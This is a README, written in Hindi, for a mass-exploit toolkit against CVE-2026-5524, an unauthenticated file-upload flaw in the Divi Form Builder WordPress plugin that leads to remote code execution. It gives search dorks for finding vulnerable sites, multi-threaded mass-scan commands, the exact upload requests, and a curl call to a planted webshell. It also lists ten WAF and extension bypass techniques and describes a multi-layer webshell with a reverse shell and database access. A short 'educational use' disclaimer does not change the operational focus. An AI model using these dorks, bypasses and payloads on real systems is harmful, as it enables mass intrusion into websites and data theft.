
CVE-2026-5524 के लिए मास एक्सप्लॉइट टूलकिट, जो Divi Form Builder में एक अनऑथेंटिकेटेड फ़ाइल अपलोड RCE है। इसमें मल्टी-थ्रेडेड स्कैनिंग, WAF बाईपास तकनीक, कस्टम वेबशेल डिप्लॉयमेंट और इंटरैक्टिव कमांड निष्पादन शामिल हैं।
CVE-2026-5524 के लिए मास एक्सप्लॉइट टूलकिट, जो WordPress प्लगइन Divi Form Builder <= 5.1.8 में एक अप्रमाणिक मनमाना फ़ाइल अपलोड भेद्यता है, जो रिमोट कोड निष्पादन की ओर ले जाती है।
| फील्ड | मान |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (गंभीर) |
| वेक्टर | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रभावित | Divi Form Builder <= 5.1.8 |
| पैच | 5.1.9 |
| प्रकार | अप्रमाणिक फ़ाइल अपलोड से RCE |
| शोधकर्ता | 0xd4rk5id3 - EnvoraSec |
WordPress के लिए Divi Form Builder प्लगइन में एक अप्रमाणिक मनमाना फ़ाइल अपलोड भेद्यता है। do_image_upload() हैंडलर उपयोगकर्ता-नियंत्रित acceptFileTypes POST पैरामीटर को सीधे एक रेगुलर एक्सप्रेशन में पास करता है जिसका उपयोग फ़ाइल एक्सटेंशन को मान्य करने के लिए किया जाता है। phtml जैसा मान प्रदान करके, एक हमलावर प्लगइन के .htaccess नियम को बायपास कर सकता है जो केवल .php एक्सटेंशन को ब्लॉक करता है और PHP-निष्पादन योग्य एक्सटेंशन (.phtml, .phar, .php5, .php7, और इसी तरह) के साथ एक वेबशेल अपलोड कर सकता है।
एक बार फ़ाइल /wp-content/uploads/de_fb_uploads/ में पहुंच जाती है, Apache इसे PHP के रूप में निष्पादित करता है, जिससे हमलावर को वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन मिलता है।
यह समस्या Divi Form Builder 5.1.9 में ठीक की गई है।
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
आवश्यकताएँ: Linux, macOS, या WSL पर Python 3.8 या नया।
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
WAF (NinjaFirewall, Wordfence, ModSecurity) या कड़े Apache या nginx कॉन्फ़िगरेशन वाले लक्ष्यों के लिए।
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
सफल अपलोड के बाद, स्क्रिप्ट तुरंत एक कमांड निष्पादित कर सकती है या एक इंटरैक्टिव शेल में प्रवेश कर सकती है।
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
कमजोर हैंडलर उपयोगकर्ता इनपुट से बिना सैनिटाइजेशन के एक रेगुलर एक्सप्रेशन बनाता है।
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
acceptFileTypes=phtml भेजने पर, परिणामी रेगुलर एक्सप्रेशन /\.(phtml)$/i .phtml में समाप्त होने वाले फ़ाइलनामों से मेल खाता है, भले ही प्लगइन का अपना .htaccess फ़ाइल केवल .php एक्सटेंशन को ब्लॉक करता है। Apache फिर अपलोड की गई फ़ाइल को PHP के रूप में निष्पादित करता है, जिससे रिमोट कोड निष्पादन होता है।
एक पेज को क्रॉल करें जिसमें Divi Form Builder फ़ॉर्म एम्बेडेड है (/, /contact, /quote, आदि)। Varnish, WP Rocket और अन्य पेज कैश को हराने के लिए एक ?nocache=<random> पैरामीटर जोड़ें जो अन्यथा एक पुराना नॉन्स प्रस्तुत करेगा।
स्थानीयकृत JavaScript ऑब्जेक्ट से fb_nonce मान निकालें:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
/wp-admin/admin-ajax.php पर मल्टीपार्ट फॉर्म POST करें:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
JSON प्रतिक्रिया से फ़ाइल URL पढ़ें:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
बेस64-एन्कोडेड कमांड के साथ शेल का अनुरोध करें:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
स्क्रिप्ट प्राथमिकता क्रम में प्रत्येक तकनीक का प्रयास करती है और, जब --aggressive सेट होता है, तो पहली अपलोड सफलता रिपोर्ट करने के बाद भी हर एक का प्रयास करती है।
cve-2026-5524/
|-- CVE-2026-5524.py मुख्य शोषण स्क्रिप्ट
|-- bypass.phtml 16 KB मल्टी-लेयर PHP वेबशेल
|-- htaccess_enable.phtml ड्रॉपर जो पुनः-सक्षम .htaccess लिखता है
|-- user_ini.phtml ड्रॉपर जो PHP-FPM के लिए .user.ini लिखता है
|-- targets.txt उदाहरण लक्ष्य सूची
|-- pwned.jsonl सामूहिक स्कैन के दौरान -o फ़्लैग द्वारा उत्पन्न
|-- requirements.txt Python निर्भरताएँ
`-- README.md यह दस्तावेज़
+--------------------------------------------------+
| 1. टोही |
| GET /?nocache=<random> |
| de_fb_obj से fb_nonce पार्स करें |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. शोषण तैयार करें |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. सर्वर फ़ाइल स्वीकार करता है और संग्रहीत करता है|
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. निष्पादित करें |
| GET shell.phtml?x=base64(command) |
| रिमोट कोड निष्पादन प्राप्त हुआ |
+--------------------------------------------------+
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण अभियानों के दौरान उपयोग के लिए प्रदान किया गया है। स्वीकार्य उपयोग के उदाहरणों में शामिल हैं:
उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, लगभग हर क्षेत्राधिकार में अवैध है और सख्ती से प्रतिबंधित है। लेखक इस कोड के दुरुपयोग का समर्थन नहीं करता है और न ही इसके लिए जिम्मेदारी लेता है।
J'ai la permission et je suis autorisé à effectuer ce pentest. (मेरे पास अनुमति है और मैं इस पेंटेस्ट को करने के लिए अधिकृत हूं)
संभावित रूप से प्रासंगिक कानूनों में इंडोनेशिया का UU ITE, संयुक्त राज्य अमेरिका का कंप्यूटर फ्रॉड एंड अब्यूज़ एक्ट, यूरोपीय संघ का साइबरक्राइम कन्वेंशन और अन्य स्थानों पर समान कानून शामिल हैं। संदेह होने पर, पहले लिखित प्राधिकरण प्राप्त करें।
केवल शैक्षिक उपयोग। पूर्ण उपयोग शर्तों के लिए अस्वीकरण अनुभाग देखें।
| फ़्लैग | विवरण |
|---|
-u URL | एकल लक्ष्य URL |
-l FILE | लक्ष्य सूची वाली फ़ाइल, प्रति पंक्ति एक URL |
-t N | समवर्ती थ्रेड की संख्या (डिफ़ॉल्ट 10) |
--timeout N | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट 15) |
-o FILE | परिणाम JSONL आउटपुट फ़ाइल में सहेजें |
--proxy URL | HTTP प्रॉक्सी के माध्यम से ट्रैफ़िक रूट करें |
--nonce HASH | मैन्युअल रूप से प्रदान किया गया नॉन्स उपयोग करें, स्वचालित पहचान छोड़ें |
--ext EXT | पूर्ण बायपास सूची के बजाय एक एकल एक्सटेंशन बलपूर्वक करें |
--shell | सफलता पर इंटरैक्टिव RCE शेल में प्रवेश करें (केवल एकल लक्ष्य) |
--cmd CMD | लक्ष्य पर एक कमांड निष्पादित करें, फिर बाहर निकलें |
--shell-file FILE | अंतर्निहित शेल के बजाय एक कस्टम शेल पेलोड अपलोड करें |
--no-verify | अपलोड के बाद RCE सत्यापन चरण छोड़ें |
--strict-verify | गलत सकारात्मक फ़िल्टर करने के लिए शेल URL के HTTP 200 लौटाने की पुष्टि करें |
--user-ini | PHP-FPM वातावरण के लिए .user.ini ड्रॉपर अपलोड करें |
--htaccess | Apache वातावरण के लिए .htaccess पुनः-सक्षमकर्ता अपलोड करें |
--aggressive | प्रत्येक उपलब्ध बायपास तकनीक सक्षम करें |
--null-byte | नल बाइट और डबल एक्सटेंशन प्रयास शामिल करें |
--path-traversal | /uploads/YYYY/MM/ उपनिर्देशिकाओं पर अपलोड करने का प्रयास करें |
--debug | निदान के लिए कच्चे HTTP प्रतिक्रियाएँ प्रिंट करें |
| # | तकनीक | लक्ष्य |
|---|
| 1 | वैकल्पिक PHP एक्सटेंशन .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | प्लगइन .htaccess नियम जो केवल .php को ब्लॉक करता है |
| 2 | केस भिन्नता .PHTML, .PHP5, .PhTmL | केस-संवेदी WAF हस्ताक्षर (NinjaFirewall) |
| 3 | डबल एक्सटेंशन .phtml.jpg, .php.jpg | Apache mod_mime सामग्री-बातचीत विचित्रताएँ |
| 4 | नल बाइट .php%00.jpg, .phtml%00.txt | पुराने PHP संस्करण (5.3.4 से कम) और कुछ पार्सर |
| 5 | अनुगामी स्थान या डॉट .php , .php. | Windows IIS और पुराने Apache संस्करण |
| 6 | Content-Type स्पूफिंग application/octet-stream | WAF जो मल्टीपार्ट Content-Type हेडर पर कुंजीबद्ध होते हैं |
| 7 | एक वास्तविक .htaccess अपलोड करें जो .gif, .png, .jpg, .txt, .html आदि के लिए PHP को पुनः सक्षम करता है | Apache सर्वर जिनमें AllowOverride All है |
| 8 | auto_prepend_file के साथ .user.ini अपलोड करें | PHP-FPM वातावरण |
| 9 | मल्टीपार्ट बाउंड्री हेरफेर के माध्यम से फ़ाइलनाम इंजेक्शन | प्रॉक्सी और WAF जो अनुरोध निकाय को पुनः पार्स करते हैं |
| 10 | फ़ाइलनाम में पथ ट्रैवर्सल ../shell.phtml | प्लगइन निर्देशिका प्रतिबंध |
| घटक | तकनीक |
|---|
| भाषा | Python 3.8+ |
| HTTP क्लाइंट | requests |
| TLS हैंडलिंग | स्व-हस्ताक्षरित प्रमाणपत्रों के लिए असुरक्षित मोड में urllib3 |
| समवर्तीता | सामूहिक स्कैनिंग के लिए concurrent.futures.ThreadPoolExecutor |
| पार्सिंग | नॉन्स निष्कर्षण के लिए re, प्रतिक्रिया हैंडलिंग के लिए json |
| एन्कोडिंग | वेबशेल कमांड पैरामीटर के लिए base64 |
| CLI | 19 कॉन्फ़िगरेबल फ़्लैग के साथ argparse |
| घटक | तकनीक |
|---|
| भाषा | PHP 7.0+ |
| निष्पादन फ़ंक्शन | system(), shell_exec(), proc_open(), passthru(), popen() |
| फ्रंट एंड | सादा HTML फ़ॉर्म, कोई JavaScript फ्रेमवर्क नहीं |
| विशेषताएँ | फ़ाइल ब्राउज़र, कमांड निष्पादन, डेटाबेस एक्सेस, रिवर्स शेल, स्व-स्थापित .htaccess और .user.ini |
| आकार | लगभग 16 KB |
| बायपास परतें | एन्कोडेड पेलोड के साथ छह स्वतंत्र निष्पादन पथ |